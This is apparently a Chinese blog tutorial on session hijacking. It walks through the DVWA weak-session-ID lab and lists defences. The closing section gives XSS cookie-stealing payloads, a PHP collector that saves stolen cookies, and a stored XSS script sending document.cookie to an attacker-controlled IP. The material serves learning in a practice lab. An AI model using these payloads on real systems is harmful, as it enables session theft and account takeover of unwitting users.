会话劫持总结

概述

Session对于Web应用无疑是最重要的,也是最复杂的。对于web应用程序来说,加强安全性的第一条原则就是 – 不要信任来自客户端的数据,一定要进行数据验证以及过滤,才能在程序中使用,进而保存到数据层。 然而,为了维持来自同一个用户的不同请求之间的状态, 客户端必须要给服务器端发送一个唯一的身份标识符(Session ID)。 很显然,这和前面提到的安全原则是矛盾的,但是没有办法,http协议是无状态的,为了维持状态,我们别无选择。 可以看出,web应用程序中最脆弱的环节就是session,因为服务器端是通过来自客户端的一个身份标识来认证用户的, 所以session是web应用程序中最需要加强安全性的环节。

基于session的攻击有很多种方式。大部分的手段都是首先通过捕获合法用户的session, 然后冒充该用户来访问系统。也就是说,攻击者至少必须要获取到一个有效的session标识符,用于接下来的身份验证。

DVWA实验

完全不知道这个怎么通关,这玩意儿大佬说是猜session值,所以这应该是的吧。
开始第一步,调级别。

LOW级别

首先将这个级别换到了LOW,题如其名。还是先利用burp进行抓包。
在这里插入图片描述
因为session是服务器给返回的值,所以我们应该查看他的响应包,所以我们将包发送到Repeat模块。
在这里插入图片描述
我们连续点击send发送包,查看他的session值。查看他的session值的规律,如果他有规律那么我们就可以构造session值。
在这里插入图片描述
通过几次的实验发现他没发送一次session值就增加一,所以我们可以利用这个session值来进行Cookie盗用。

使用Hackbar工具进行攻击。
按照上面的html构造Cookie的payload

dvwaSession=12; security=low; PHPSESSID=9uu34n47j66u3g420tv8j7chu0

在这里插入图片描述

Midium级别

这个也是一样,更换级别,使用burp进行抓包。
在这里插入图片描述
将抓住的包发送到Repeat模块。然后点击send发送。
在这里插入图片描述
多发送几次发现他毫无规律的在变化。

在这里插入图片描述
但是看这个有那么一点像时间戳,我们可以写一个脚本看是否是时间戳。
在这里插入图片描述
发现这个好像就是时间戳,所以我们可以利用脚步加Cookie盗用进行攻击注入。
这个级别就不能使用hackbar了,我们只能使用脚本进行攻击,在修改headers中的Cookie值进行攻击,将时间戳传递给session。

HiGH级别

还是原样子,我们先修改级别,进行抓包分析。
在这里插入图片描述
如上图所示,还没有像服务器发送请求包但是这个session值就出现在了请求包了。尝试多请求几次他还是那个session值,这个session值未发生改变。

在这里插入图片描述
就这就不会了,还是查看源码吧。

在这里插入图片描述
通过源码知道session值分为了两部分,第一部分将session值给用md5加密了,加密还好,关键是他加密之后还要使用时间戳,时间戳还好,他还加了3600。

防御措施

  1. 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
  2. 关闭透明化SessionID。透明化SessionID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
  3. 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
  4. 关闭所有phpinfo类dump request信息的页面。
  5. 添加Token校验,或者添加随机数。

Cookie盗取

详情去看XSS总结吧。

最直接的方法就是利用XSS漏洞进行获取。

反射型XSS注入


脚本内容:<script>alert(document.cookie)</script>
伪脚本内容:javascript:alert(document.cookie) 
事件内容:οnclick=alert(document.cookie) 
超链接内容:<a href="javascript:alert(document.cookie)">

存储型XSS注入。
首先先创建一个存放Cookie值的文件,例如创建一个cookie.txt的文件用于存放Cookie值。
然后在构建一个文件用于获取Cookie值。例如创建一个getcookie.php。
getcookie.php内容

<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

然后我们向他的存储性XSS漏洞点去添加执行语句,让他存储进数据库中。

<script>location.href="http://你的ip/getcookie.php?cookie="+document.cookie</script>

将这个语句放进数据库中,只要他点击了那个漏洞点就会执行这段话,他的Cookie值就会被放进cookie.txt中。
后面就可以利用cookie做一些别的事儿了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值